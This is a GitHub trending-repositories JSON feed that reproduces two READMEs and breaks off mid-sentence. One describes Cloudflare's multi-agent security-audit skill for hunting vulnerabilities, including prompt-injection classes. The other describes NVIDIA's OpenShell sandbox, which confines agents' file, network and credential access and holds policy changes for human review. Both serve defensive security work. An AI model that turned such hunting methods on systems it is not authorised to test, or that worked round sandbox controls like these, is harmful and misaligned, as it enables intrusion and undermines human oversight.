{"version": "https://jsonfeed.org/version/1.1", "title": "GitHub \u6bcf\u65e5\u70ed\u95e8\u9879\u76ee", "feed_url": "https://mshibanami.github.io/GitHubTrendingRSS", "home_page_url": "133", "description": "Daily Trending Repositories on GitHub", "icon": null, "favicon": null, "authors": [{"name": "Unknown", "url": null, "avatar": null}], "language": null, "expired": null, "hub": null, "items": [{"id": "https://github.com/cloudflare/security-audit-skill", "url": "https://github.com/cloudflare/security-audit-skill", "external_url": null, "title": "cloudflare/security-audit-skill", "content_text": "", "content_html": "<p>A coding-agent skill for multi-phase security audits with independently verified, machine-readable findings</p><hr /><h1>security-audit</h1> \n<p>A coding-agent skill that turns your agent into a security auditor. It orchestrates isolated agents through reconnaissance, coverage-led hunting, candidate validation, structured output, independent record verification, and target-neutral reporting.</p> \n<p>This is the skill that seeded Cloudflare's vulnerability discovery harness, described in <a href=\"https://blog.cloudflare.com/build-your-own-vulnerability-harness\">Build your own vulnerability harness</a>. The harness grew into a multi-stage, fleet-wide system; this skill is the single-repo starting point it evolved from.</p> \n<h2>What it does</h2> \n<p>The skill runs a structured audit in six phases:</p> \n<ol> \n <li><strong>Reconnaissance</strong> -- map architecture, trust boundaries, input surfaces, prior evidence, and deterministic coverage in <code>architecture.md</code> and <code>coverage-ledger.json</code>.</li> \n <li><strong>Coverage-led hunting</strong> -- assign isolated hunters from ledger units, record their checks, and use coverage critics to find gaps.</li> \n <li><strong>Candidate validation</strong> -- give every unique candidate to a fresh verifier that tries to disprove it.</li> \n <li><strong>Structured output</strong> -- write <code>confirmed</code>, <code>needs_validation</code>, and <code>rejected</code> records to <code>findings.json</code> and validate them against <code>report-schema.json</code>.</li> \n <li><strong>Independent record verification</strong> -- fresh agents verify final source claims. Material replacements receive another independent verifier.</li> \n <li><strong>Target-neutral reporting</strong> -- derive <code>REPORT.md</code>, <code>FINDINGS-DETAIL.md</code>, and <code>NEEDS-VALIDATION.md</code> from the verified records and coverage ledger.</li> \n</ol> \n<p>The parent runs <code>validate-coverage-ledger.cjs</code> after creating the ledger and after each later ledger update. It runs <code>validate-findings.cjs</code> in Phase 4 and again after every Phase 5 replacement.</p> \n<p>The verdicts are distinct: <code>confirmed</code> has a complete source trace and bounded observed result, <code>needs_validation</code> has an exact unresolved fact and no severity, and <code>rejected</code> records a disproved candidate.</p> \n<p>Multiple runs against the same repo are additive. The skill uses prior ledgers and findings to target gaps, revalidate changed source, and carry forward current-source evidence without treating stale or unresolved work as covered.</p> \n<h2>Files</h2> \n<table> \n <thead> \n  <tr> \n   <th>File</th> \n   <th>Purpose</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td><code>SKILL.md</code></td> \n   <td>Setup, core principles, platform terminology, workflow overview, and audit anti-patterns</td> \n  </tr> \n  <tr> \n   <td><code>RECONNAISSANCE.md</code></td> \n   <td>Phase 1 reconnaissance prompts and synthesis instructions</td> \n  </tr> \n  <tr> \n   <td><code>HUNTING.md</code></td> \n   <td>Phase 2 orchestration, hunting methodology, and validation rules</td> \n  </tr> \n  <tr> \n   <td><code>ATTACK-CLASSES.md</code></td> \n   <td>Core, wildcard, and obvious-things attack prompts</td> \n  </tr> \n  <tr> \n   <td><code>MEMORY-SAFETY-AND-BINARY.md</code></td> \n   <td>Memory-safety, binary, and kernel hunting classes for native targets</td> \n  </tr> \n  <tr> \n   <td><code>AI-AND-LLM.md</code></td> \n   <td>Prompt-injection, agent/tool, and output-handling hunting classes for LLM-backed targets</td> \n  </tr> \n  <tr> \n   <td><code>WEB-PROTOCOL-AND-AUTH.md</code></td> \n   <td>HTTP request-framing, cache, and authentication-protocol hunting classes for HTTP-protocol and auth targets</td> \n  </tr> \n  <tr> \n   <td><code>CLIENT-SIDE.md</code></td> \n   <td>DOM-injection, messaging-trust, UI-redress, and prototype-pollution hunting classes for client-side/browser targets</td> \n  </tr> \n  <tr> \n   <td><code>SUPPLY-CHAIN-AND-RELEASE.md</code></td> \n   <td>Dependency, CI, release, signing, update, plugin, and extension hunting classes</td> \n  </tr> \n  <tr> \n   <td><code>CLOUD-AND-DEPLOYMENT.md</code></td> \n   <td>IAM, infrastructure-as-code, container, serverless, ingress, and runtime-configuration hunting classes</td> \n  </tr> \n  <tr> \n   <td><code>PROTOCOLS-RPC-AND-MESSAGING.md</code></td> \n   <td>RPC, serialization, queue, broker, webhook, and streaming-protocol hunting classes</td> \n  </tr> \n  <tr> \n   <td><code>RESOURCE-EXHAUSTION-AND-AVAILABILITY.md</code></td> \n   <td>Shared resource, quota, queue, worker, and operator-spend hunting classes</td> \n  </tr> \n  <tr> \n   <td><code>DATA-ISOLATION-AND-LIFECYCLE.md</code></td> \n   <td>Tenant isolation, cache, search, export, backup, migration, deletion, and restore hunting classes</td> \n  </tr> \n  <tr> \n   <td><code>DESKTOP-MOBILE-AND-LOCAL-IPC.md</code></td> \n   <td>Native app, deep-link, webview, exported-component, helper, daemon, and local-IPC hunting classes</td> \n  </tr> \n  <tr> \n   <td><code>VALIDATION-AND-REPORTING.md</code></td> \n   <td>Phases 3\u20136 candidate validation, structured output, record verification, and reporting</td> \n  </tr> \n  <tr> \n   <td><code>report-schema.json</code></td> \n   <td>JSON schema for all three <code>findings.json</code> verdicts</td> \n  </tr> \n  <tr> \n   <td><code>validate-findings.cjs</code></td> \n   <td>Zero-dependency validator for <code>findings.json</code> in Phases 4 and 5</td> \n  </tr> \n  <tr> \n   <td><code>validate-findings.test.cjs</code></td> \n   <td>Findings-validator tests and producer-compatible fixture checks</td> \n  </tr> \n  <tr> \n   <td><code>validate-coverage-ledger.cjs</code></td> \n   <td>Zero-dependency validator for <code>coverage-ledger.json</code> in Phases 1\u20135</td> \n  </tr> \n  <tr> \n   <td><code>validate-coverage-ledger.test.cjs</code></td> \n   <td>Coverage-ledger validator tests</td> \n  </tr> \n </tbody> \n</table> \n<h2>Installation</h2> \n<p>Install the skill with the <a href=\"https://skills.sh\">Skills CLI</a>:</p> \n<pre><code class=\"language-bash\">npx skills add https://github.com/cloudflare/security-audit-skill \\\n  --skill security-audit\n</code></pre> \n<p>Use <code>--global</code> for a user-level installation:</p> \n<pre><code class=\"language-bash\">npx skills add https://github.com/cloudflare/security-audit-skill \\\n  --skill security-audit \\\n  --global\n</code></pre> \n<p>Run <code>npx skills --help</code> for agent-selection and non-interactive options.</p> \n<h2>Usage</h2> \n<p>Start your coding agent in (or pointed at) the codebase you want to audit, then ask it to do a security audit:</p> \n<pre><code>security audit this codebase\n</code></pre> \n<pre><code>find security vulnerabilities in ./src\n</code></pre> \n<pre><code>do a security review, output to ~/audits/my-project\n</code></pre> \n<p>The skill activates automatically when the request matches its trigger (security audit, find vulnerabilities, pen-test the code, etc.). A direct codebase audit or pen-test request uses full audit mode. Security questions and focused vulnerability work use guidance mode unless you request report artifacts. In full audit mode, an unspecified output directory defaults to <code>~/security-audit-skill/&lt;repo-name&gt;/run-&lt;N&gt;</code>. The workflow writes inside the target repository only when you explicitly select a directory that version control ignores.</p> \n<h2>Requirements</h2> \n<ul> \n <li>A coding agent with a model that supports tool use and parallel sub-agents</li> \n <li>Node.js for the zero-dependency findings and coverage-ledger validators</li> \n <li>An OS-enforced sandbox for target-controlled builds, tests, processes, browsers, emulators, fuzzers, and fixtures. It must disable external networking, use a sanitized allowlisted environment, enforce resource limits, and allow writes only to assigned scratch paths. Without these controls, the workflow keeps the lead as <code>needs_validation</code> instead of executing target code.</li> \n</ul> \n<h2>Design principles</h2> \n<ul> \n <li><strong>Only confirm established boundary failures.</strong> Keep a source-grounded blocked lead as <code>needs_validation</code> with its exact unresolved fact.</li> \n <li><strong>Adversarial validation.</strong> The agent that checks a finding is never the agent that found it.</li> \n <li><strong>Severity requires impact.</strong> Likelihood x impact, not deviation from a checklist.</li> \n <li><strong>Defense-in-depth gaps are not vulnerabilities.</strong> If Layer A prevents the attack, the absence of Layer B is a hardening note.</li> \n <li><strong>Multiple runs improve coverage.</strong> In our test runs, a single run found roughly half of the vulnerabilities that repeated runs found in total.</li> \n</ul> \n<h2>Contact</h2> \n<p>Questions, feedback, or comparing notes on AI-driven security tooling: <a href=\"mailto:security-ai-research@cloudflare.com\">security-ai-research@cloudflare.com</a></p> \n<h2>License</h2> \n<p>MIT -- see <a href=\"https://raw.githubusercontent.com/cloudflare/security-audit-skill/main/LICENSE\">LICENSE</a>.</p>", "summary": "<p>A coding-agent skill for multi-phase security audits with independently verified, machine-readable findings</p><hr /><h1>security-audit</h1> \n<p>A coding-agent skill that turns your agent into a security auditor. It orchestrates isolated agents through reconnaissance, coverage-led hunting, candidate validation, structured output, independent record verification, and target-neutral reporting.</p> \n<p>This is the skill that seeded Cloudflare's vulnerability discovery harness, described in <a href=\"https://blog.cloudflare.com/build-your-own-vulnerability-harness\">Build your own vulnerability harness</a>. The harness grew into a multi-stage, fleet-wide system; this skill is the single-repo starting point it evolved from.</p> \n<h2>What it does</h2> \n<p>The skill runs a structured audit in six phases:</p> \n<ol> \n <li><strong>Reconnaissance</strong> -- map architecture, trust boundaries, input surfaces, prior evidence, and deterministic coverage in <code>architecture.md</code> and <code>coverage-ledger.json</code>.</li> \n <li><strong>Coverage-led hunting</strong> -- assign isolated hunters from ledger units, record their checks, and use coverage critics to find gaps.</li> \n <li><strong>Candidate validation</strong> -- give every unique candidate to a fresh verifier that tries to disprove it.</li> \n <li><strong>Structured output</strong> -- write <code>confirmed</code>, <code>needs_validation</code>, and <code>rejected</code> records to <code>findings.json</code> and validate them against <code>report-schema.json</code>.</li> \n <li><strong>Independent record verification</strong> -- fresh agents verify final source claims. Material replacements receive another independent verifier.</li> \n <li><strong>Target-neutral reporting</strong> -- derive <code>REPORT.md</code>, <code>FINDINGS-DETAIL.md</code>, and <code>NEEDS-VALIDATION.md</code> from the verified records and coverage ledger.</li> \n</ol> \n<p>The parent runs <code>validate-coverage-ledger.cjs</code> after creating the ledger and after each later ledger update. It runs <code>validate-findings.cjs</code> in Phase 4 and again after every Phase 5 replacement.</p> \n<p>The verdicts are distinct: <code>confirmed</code> has a complete source trace and bounded observed result, <code>needs_validation</code> has an exact unresolved fact and no severity, and <code>rejected</code> records a disproved candidate.</p> \n<p>Multiple runs against the same repo are additive. The skill uses prior ledgers and findings to target gaps, revalidate changed source, and carry forward current-source evidence without treating stale or unresolved work as covered.</p> \n<h2>Files</h2> \n<table> \n <thead> \n  <tr> \n   <th>File</th> \n   <th>Purpose</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td><code>SKILL.md</code></td> \n   <td>Setup, core principles, platform terminology, workflow overview, and audit anti-patterns</td> \n  </tr> \n  <tr> \n   <td><code>RECONNAISSANCE.md</code></td> \n   <td>Phase 1 reconnaissance prompts and synthesis instructions</td> \n  </tr> \n  <tr> \n   <td><code>HUNTING.md</code></td> \n   <td>Phase 2 orchestration, hunting methodology, and validation rules</td> \n  </tr> \n  <tr> \n   <td><code>ATTACK-CLASSES.md</code></td> \n   <td>Core, wildcard, and obvious-things attack prompts</td> \n  </tr> \n  <tr> \n   <td><code>MEMORY-SAFETY-AND-BINARY.md</code></td> \n   <td>Memory-safety, binary, and kernel hunting classes for native targets</td> \n  </tr> \n  <tr> \n   <td><code>AI-AND-LLM.md</code></td> \n   <td>Prompt-injection, agent/tool, and output-handling hunting classes for LLM-backed targets</td> \n  </tr> \n  <tr> \n   <td><code>WEB-PROTOCOL-AND-AUTH.md</code></td> \n   <td>HTTP request-framing, cache, and authentication-protocol hunting classes for HTTP-protocol and auth targets</td> \n  </tr> \n  <tr> \n   <td><code>CLIENT-SIDE.md</code></td> \n   <td>DOM-injection, messaging-trust, UI-redress, and prototype-pollution hunting classes for client-side/browser targets</td> \n  </tr> \n  <tr> \n   <td><code>SUPPLY-CHAIN-AND-RELEASE.md</code></td> \n   <td>Dependency, CI, release, signing, update, plugin, and extension hunting classes</td> \n  </tr> \n  <tr> \n   <td><code>CLOUD-AND-DEPLOYMENT.md</code></td> \n   <td>IAM, infrastructure-as-code, container, serverless, ingress, and runtime-configuration hunting classes</td> \n  </tr> \n  <tr> \n   <td><code>PROTOCOLS-RPC-AND-MESSAGING.md</code></td> \n   <td>RPC, serialization, queue, broker, webhook, and streaming-protocol hunting classes</td> \n  </tr> \n  <tr> \n   <td><code>RESOURCE-EXHAUSTION-AND-AVAILABILITY.md</code></td> \n   <td>Shared resource, quota, queue, worker, and operator-spend hunting classes</td> \n  </tr> \n  <tr> \n   <td><code>DATA-ISOLATION-AND-LIFECYCLE.md</code></td> \n   <td>Tenant isolation, cache, search, export, backup, migration, deletion, and restore hunting classes</td> \n  </tr> \n  <tr> \n   <td><code>DESKTOP-MOBILE-AND-LOCAL-IPC.md</code></td> \n   <td>Native app, deep-link, webview, exported-component, helper, daemon, and local-IPC hunting classes</td> \n  </tr> \n  <tr> \n   <td><code>VALIDATION-AND-REPORTING.md</code></td> \n   <td>Phases 3\u20136 candidate validation, structured output, record verification, and reporting</td> \n  </tr> \n  <tr> \n   <td><code>report-schema.json</code></td> \n   <td>JSON schema for all three <code>findings.json</code> verdicts</td> \n  </tr> \n  <tr> \n   <td><code>validate-findings.cjs</code></td> \n   <td>Zero-dependency validator for <code>findings.json</code> in Phases 4 and 5</td> \n  </tr> \n  <tr> \n   <td><code>validate-findings.test.cjs</code></td> \n   <td>Findings-validator tests and producer-compatible fixture checks</td> \n  </tr> \n  <tr> \n   <td><code>validate-coverage-ledger.cjs</code></td> \n   <td>Zero-dependency validator for <code>coverage-ledger.json</code> in Phases 1\u20135</td> \n  </tr> \n  <tr> \n   <td><code>validate-coverage-ledger.test.cjs</code></td> \n   <td>Coverage-ledger validator tests</td> \n  </tr> \n </tbody> \n</table> \n<h2>Installation</h2> \n<p>Install the skill with the <a href=\"https://skills.sh\">Skills CLI</a>:</p> \n<pre><code class=\"language-bash\">npx skills add https://github.com/cloudflare/security-audit-skill \\\n  --skill security-audit\n</code></pre> \n<p>Use <code>--global</code> for a user-level installation:</p> \n<pre><code class=\"language-bash\">npx skills add https://github.com/cloudflare/security-audit-skill \\\n  --skill security-audit \\\n  --global\n</code></pre> \n<p>Run <code>npx skills --help</code> for agent-selection and non-interactive options.</p> \n<h2>Usage</h2> \n<p>Start your coding agent in (or pointed at) the codebase you want to audit, then ask it to do a security audit:</p> \n<pre><code>security audit this codebase\n</code></pre> \n<pre><code>find security vulnerabilities in ./src\n</code></pre> \n<pre><code>do a security review, output to ~/audits/my-project\n</code></pre> \n<p>The skill activates automatically when the request matches its trigger (security audit, find vulnerabilities, pen-test the code, etc.). A direct codebase audit or pen-test request uses full audit mode. Security questions and focused vulnerability work use guidance mode unless you request report artifacts. In full audit mode, an unspecified output directory defaults to <code>~/security-audit-skill/&lt;repo-name&gt;/run-&lt;N&gt;</code>. The workflow writes inside the target repository only when you explicitly select a directory that version control ignores.</p> \n<h2>Requirements</h2> \n<ul> \n <li>A coding agent with a model that supports tool use and parallel sub-agents</li> \n <li>Node.js for the zero-dependency findings and coverage-ledger validators</li> \n <li>An OS-enforced sandbox for target-controlled builds, tests, processes, browsers, emulators, fuzzers, and fixtures. It must disable external networking, use a sanitized allowlisted environment, enforce resource limits, and allow writes only to assigned scratch paths. Without these controls, the workflow keeps the lead as <code>needs_validation</code> instead of executing target code.</li> \n</ul> \n<h2>Design principles</h2> \n<ul> \n <li><strong>Only confirm established boundary failures.</strong> Keep a source-grounded blocked lead as <code>needs_validation</code> with its exact unresolved fact.</li> \n <li><strong>Adversarial validation.</strong> The agent that checks a finding is never the agent that found it.</li> \n <li><strong>Severity requires impact.</strong> Likelihood x impact, not deviation from a checklist.</li> \n <li><strong>Defense-in-depth gaps are not vulnerabilities.</strong> If Layer A prevents the attack, the absence of Layer B is a hardening note.</li> \n <li><strong>Multiple runs improve coverage.</strong> In our test runs, a single run found roughly half of the vulnerabilities that repeated runs found in total.</li> \n</ul> \n<h2>Contact</h2> \n<p>Questions, feedback, or comparing notes on AI-driven security tooling: <a href=\"mailto:security-ai-research@cloudflare.com\">security-ai-research@cloudflare.com</a></p> \n<h2>License</h2> \n<p>MIT -- see <a href=\"https://raw.githubusercontent.com/cloudflare/security-audit-skill/main/LICENSE\">LICENSE</a>.</p>", "image": null, "banner_image": null, "date_published": "2026-10-28T08:46:08Z", "date_modified": "2026-10-28T08:46:08Z", "authors": ["Unknown"], "tags": [], "language": null, "attachments": ["\n                            {\"url\": string, \n                            'mime_type': string, \n                            'title': strinrg,\n                            'size_in_bytes': int,\n                            'duration_in_seconds': int\n                            "]}, {"id": "https://github.com/NVIDIA/OpenShell", "url": "https://github.com/NVIDIA/OpenShell", "external_url": null, "title": "NVIDIA/OpenShell", "content_text": "", "content_html": "<p>OpenShell is the safe, private runtime for autonomous AI agents.</p><p><img alt=\"link\" height=\"20\" src=\"https://mshibanami.github.io/GitHubTrendingRSS/assets/icons/link.png\" style=\"margin: 0 8px 0 0; padding: 0; display: inline-block; vertical-align: middle;\" width=\"20\" /><a href=\"https://docs.nvidia.com/openshell/latest/\">https://docs.nvidia.com/openshell/latest/</a></p><hr /> \n <source media=\"(prefers-color-scheme: dark)\" /> \n <source media=\"(prefers-color-scheme: light)\" /> \n <img alt=\"OpenShell\" src=\"https://raw.githubusercontent.com/NVIDIA/OpenShell/main/docs/brand/assets/openshell-banner-light.png\" width=\"430\" /> \n \n<!-- markdownlint-enable MD033 MD041 --> \n<p><a href=\"https://github.com/NVIDIA/OpenShell/raw/main/LICENSE\"><img alt=\"License\" src=\"https://img.shields.io/badge/License-Apache_2.0-blue\" /></a> <a href=\"https://pypi.org/project/openshell/\"><img alt=\"PyPI\" src=\"https://img.shields.io/badge/PyPI-openshell-orange?logo=pypi\" /></a> <a href=\"https://raw.githubusercontent.com/NVIDIA/OpenShell/main/SECURITY.md\"><img alt=\"Security Policy\" src=\"https://img.shields.io/badge/Security-Report%20a%20Vulnerability-red\" /></a> <a href=\"https://docs.nvidia.com/openshell/latest/index.html\"><img alt=\"Documentation\" src=\"https://img.shields.io/badge/docs-latest-brightgreen\" /></a></p> \n<div class=\"markdown-alert markdown-alert-important\">\n <p class=\"markdown-alert-title\">\n  <svg class=\"octicon octicon-report mr-2\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\" xmlns=\"http://www.w3.org/2000/svg\">\n   <path d=\"M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v9.5A1.75 1.75 0 0 1 14.25 13H8.06l-2.573 2.573A1.458 1.458 0 0 1 3 14.543V13H1.75A1.75 1.75 0 0 1 0 11.25Zm1.75-.25a.25.25 0 0 0-.25.25v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25Zm7 2.25v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 9a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z\"></path>\n  </svg>Important</p>\n <p><strong>New in OpenShell 0.1.x:</strong> a stable release cadence, new isolation primitives, an expanded extension surface, and new APIs. <a href=\"https://docs.nvidia.com/openshell/latest/upgrade/0-1-0\">Read the 0.1.0 upgrade guide</a>.</p> \n</div> \n<p>OpenShell is the safe, private runtime for fleets of autonomous AI agents. Agents are most useful when they can read files, install packages, call APIs, and use credentials. OpenShell gives them that capability without giving them unrestricted access to your data, secrets, or network. You declare what each agent can touch in a policy, and OpenShell enforces it.</p> \n<h2>How It Works</h2> \n<p>OpenShell governs what agents can do in two ways: it instruments the kernel to enforce policy on every file access, system call, and network connection at runtime, and it uses formal verification to check what a policy change would allow before it is applied.</p> \n<ul> \n <li><strong>Kernel-level enforcement.</strong> Each agent runs in an isolated sandbox. Kernel controls confine which files it can access and which system calls it can make, and every network connection passes through a policy check before it leaves the sandbox. Agents never see real credentials; OpenShell adds them only to requests bound for approved endpoints.</li> \n <li><strong>Formally verified policy changes.</strong> Before a policy change is approved, OpenShell uses formal verification to flag risky new access it would grant, such as reaching a new host with credentials or calling a new API method, so those changes wait for human review.</li> \n</ul> \n<p>See <a href=\"https://docs.nvidia.com/openshell/latest/about/architecture\">Architecture</a> for how the gateway, supervisor, and sandbox fit together.</p> \n<h2>Quickstart</h2> \n<p>You need Linux, macOS on Apple Silicon, or Windows with WSL 2 (experimental), plus Docker, Podman, or host virtualization. See the <a href=\"https://docs.nvidia.com/openshell/latest/about/support-matrix\">Support Matrix</a> for details.</p> \n<pre><code class=\"language-shell\">curl -LsSf https://raw.githubusercontent.com/NVIDIA/OpenShell/main/install.sh | sh\nopenshell sandbox create --name demo\n</code></pre> \n<p>The installer sets up the CLI and a local gateway. The default sandbox image is minimal Ubuntu with no agent installed. To run a real agent, follow <a href=\"https://docs.nvidia.com/openshell/latest/about/run-your-first-agent\">Run Your First Agent</a>: it runs OpenCode against a free OpenRouter model and shows how to approve new access as the agent needs it.</p> \n<h2>Explore Further</h2> \n<ul> \n <li><a href=\"https://docs.nvidia.com/openshell/latest/how-it-works/sandboxes/overview\">Sandboxes</a>: images, runtimes, GPUs, and lifecycle.</li> \n <li><a href=\"https://docs.nvidia.com/openshell/latest/how-it-works/policies/overview\">Policies</a>: filesystem, network, and process rules, with the <a href=\"https://docs.nvidia.com/openshell/latest/how-it-works/policies/advisor\">advisor</a> and <a href=\"https://docs.nvidia.com/openshell/latest/how-it-works/policies/prover\">prover</a> for reviewing changes.</li> \n <li><a href=\"https://docs.nvidia.com/openshell/latest/how-it-works/providers/overview\">Providers</a>: credentials that work only at approved endpoints, including <a href=\"https://docs.nvidia.com/openshell/latest/how-it-works/inference\">inference</a>.</li> \n <li><a href=\"https://docs.nvidia.com/openshell/latest/how-it-works/gateways/overview\">Gateways</a>: the control plane for sandboxes, policy, and access.</li> \n <li><a href=\"https://docs.nvidia.com/openshell/latest/kubernetes/setup\">Kubernetes</a>: deploy the gateway with Helm. Your CNI must enforce <code>NetworkPolicy</code>.</li> \n <li><a href=\"https://docs.nvidia.com/openshell/latest/extensibility/overview\">Extensibility</a>: middleware, interceptors, and compute drivers.</li> \n <li><a href=\"https://docs.nvidia.com/openshell/latest/tutorials/first-network-policy\">Tutorials</a>: step-by-step policy and agent walkthroughs.</li> \n <li><a href=\"https://docs.nvidia.com/openshell/latest/about/installation#prerelease-and-development-builds\">Prerelease and development builds</a>: try an upcoming release or the latest commit on <code>main</code>.</li> \n</ul> \n<h2>Agent Skills</h2> \n<p>Install the public OpenShell skills for your coding agent:</p> \n<pre><code class=\"language-shell\">npx skills add NVIDIA/OpenShell\n</code></pre> \n<p>The skills teach your agent to drive the OpenShell CLI, write sandbox policies, and debug gateways and inference routing. They live in <a href=\"https://raw.githubusercontent.com/NVIDIA/OpenShell/main/skills/\"><code>skills/</code></a> and work without an OpenShell source checkout.</p> \n<h2>SDKs</h2> \n<p>SDKs connect applications to an OpenShell gateway. They do not install the CLI. Use the same OpenShell release for the SDK and the gateway when possible.</p> \n<table> \n <thead> \n  <tr> \n   <th>Language</th> \n   <th>Install</th> \n   <th>Docs</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>Python</td> \n   <td><code>uv add openshell</code></td> \n   <td><a href=\"https://raw.githubusercontent.com/NVIDIA/OpenShell/main/python/openshell/\">README</a></td> \n  </tr> \n  <tr> \n   <td>TypeScript</td> \n   <td><code>npm install @nvidia/openshell-sdk</code> (GitHub Packages)</td> \n   <td><a href=\"https://raw.githubusercontent.com/NVIDIA/OpenShell/main/sdk/typescript/README.md\">README</a></td> \n  </tr> \n  <tr> \n   <td>Go</td> \n   <td><code>go get github.com/NVIDIA/OpenShell/sdk/go@latest</code></td> \n   <td><a href=\"https://raw.githubusercontent.com/NVIDIA/OpenShell/main/sdk/go/README.md\">README</a></td> \n  </tr> \n  <tr> \n   <td>Rust</td> \n   <td><code>cargo add openshell-sdk --git https://github.com/NVIDIA/OpenShell --tag &lt;release-tag&gt;</code></td> \n   <td><a href=\"https://raw.githubusercontent.com/NVIDIA/OpenShell/main/docs/sdk/rust.mdx\">Installation and usage</a></td> \n  </tr> \n </tbody> \n</table> \n<h2>Community</h2> \n<ul> \n <li><strong>Questions and discussion:</strong> <a href=\"https://github.com/NVIDIA/OpenShell/discussions\">GitHub Discussions</a></li> \n <li><strong>Bug reports and feature requests:</strong> <a href=\"https://github.com/NVIDIA/OpenShell/issues\">GitHub Issues</a>, using the issue templates</li> \n <li><strong>Security vulnerabilities:</strong> follow <a href=\"https://raw.githubusercontent.com/NVIDIA/OpenShell/main/SECURITY.md\">SECURITY.md</a>. Do not open a GitHub issue.</li> \n <li><strong>Roadmap:</strong> <a href=\"https://github.com/orgs/NVIDIA/projects/233\">OpenShell Roadmap</a> and the <a href=\"https://github.com/orgs/NVIDIA/projects/233/views/6\">RFC board</a></li> \n <li><strong>Try it in the cloud:</strong> <a href=\"https://brev.nvidia.com/launchable/deploy/now?launchableID=env-3Ap3tL55zq4a8kew1AuW0FpSLsg\">Brev Launchable</a></li> \n</ul> \n<p>OpenShell is built agent-first: it is developed with the same agent-driven workflows it enables. See <a href=\"https://raw.githubusercontent.com/NVIDIA/OpenShell/main/CONTRIBUTING.md\">CONTRIBUTING.md</a> for development setup and the contribution workflow, and <a href=\"https://raw.githubusercontent.com/NVIDIA/OpenShell/main/AGENTS.md\">AGENTS.md</a> for repository coding conventions.</p> \n<h2>Telemetry</h2> \n<p>OpenShell collects anonymous telemetry, limited to operational categories and counts, to help improve the project. It does not collect sandbox names, hostnames, file paths, prompts, credentials, provider or model names, or user content. To disable it, set <code>OPENSHELL_TELEMETRY_ENABLED=false</code> on the gateway, or <code>server.telemetryEnabled=false</code> for Helm installs. You can also compile telemetry out entirely. See <a href=\"https://docs.nvidia.com/openshell/latest/observability/telemetry\">Telemetry</a> for details and the <a href=\"https://raw.githubusercontent.com/NVIDIA/OpenShell/main/telemetry/README.md\">community telemetry reports</a> for published usage trends.</p> \n<h2>Notice and Disclaimer</h2> \n<p>This software automatically retrieves, accesses or interacts with external materials. Those retrieved materials are not distributed with this software and are governed solely by separate terms, conditions and licenses. You are solely responsible for finding, reviewing and complying with all applicable terms, conditions, and licenses, and for verifying the security, integrity and suitability of any retrieved materials for your specific use case. This software is provided \"AS IS\", without warranty of any kind. The author makes no representations or warranties regarding any retrieved materials, and assumes no liability for any losses, damages, liabilities or legal consequences from your use or inability to use this software or any retrieved materials. Use this software and the retrieved materials at your own risk.</p> \n<h2>License</h2> \n<p>This project is licensed under the <a href=\"https://github.com/NVIDIA/OpenShell/raw/main/LICENSE\">Apache License 2.0</a>.</p>", "summary": "<p>OpenShell is the safe, private runtime for autonomous AI agents.</p><p><img alt=\"link\" height=\"20\" src=\"https://mshibanami.github.io/GitHubTrendingRSS/assets/icons/link.png\" style=\"margin: 0 8px 0 0; padding: 0; display: inline-block; vertical-align: middle;\" width=\"20\" /><a href=\"https://docs.nvidia.com/openshell/latest/\">https://docs.nvidia.com/openshell/latest/</a></p><hr /> \n <source media=\"(prefers-color-scheme: dark)\" /> \n <source media=\"(prefers-color-scheme: light)\" /> \n <img alt=\"OpenShell\" src=\"https://raw.githubusercontent.com/NVIDIA/OpenShell/main/docs/brand/assets/openshell-banner-light.png\" width=\"430\" /> \n \n<!-- markdownlint-enable MD033 MD041 --> \n<p><a href=\"https://github.com/NVIDIA/OpenShell/raw/main/LICENSE\"><img alt=\"License\" src=\"https://img.shields.io/badge/License-Apache_2.0-blue\" /></a> <a href=\"https://pypi.org/project/openshell/\"><img alt=\"PyPI\" src=\"https://img.shields.io/badge/PyPI-openshell-orange?logo=pypi\" /></a> <a href=\"https://raw.githubusercontent.com/NVIDIA/OpenShell/main/SECURITY.md\"><img alt=\"Security Policy\" src=\"https://img.shields.io/badge/Security-Report%20a%20Vulnerability-red\" /></a> <a href=\"https://docs.nvidia.com/openshell/latest/index.html\"><img alt=\"Documentation\" src=\"https://img.shields.io/badge/docs-latest-brightgreen\" /></a></p> \n<div class=\"markdown-alert markdown-alert-important\">\n <p class=\"markdown-alert-title\">\n  <svg class=\"octicon octicon-report mr-2\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\" xmlns=\"http://www.w3.org/2000/svg\">\n   <path d=\"M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v9.5A1.75 1.75 0 0 1 14.25 13H8.06l-2.573 2.573A1.458 1.458 0 0 1 3 14.543V13H1.75A1.75 1.75 0 0 1 0 11.25Zm1.75-.25a.25.25 0 0 0-.25.25v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25Zm7 2.25v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 9a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z\"></path>\n  </svg>Important</p>\n <p><strong>New in OpenShell 0.1.x:</strong> a stable release cadence, new isolation primitives, an expanded extension surface, and new APIs. <a href=\"https://docs.nvidia.com/openshell/latest/upgrade/0-1-0\">Read the 0.1.0 upgrade guide</a>.</p> \n</div> \n<p>OpenShell is the safe, private runtime for fleets of autonomous AI agents. Agents are most useful when they can read files, install packages, call APIs, and use credentials. OpenShell gives them that capability without giving them unrestricted access to your data, secrets, or network. You declare what each agent can touch in a policy, and OpenShell enforces it.</p> \n<h2>How It Works</h2> \n<p>OpenShell governs what agents can do in two ways: it instruments the kernel to enforce policy on every file access, system call, and network connection at runtime, and it uses formal verification to check what a policy change would allow before it is applied.</p> \n<ul> \n <li><strong>Kernel-level enforcement.</strong> Each agent runs in an isolated sandbox. Kernel controls confine which files it can access and which 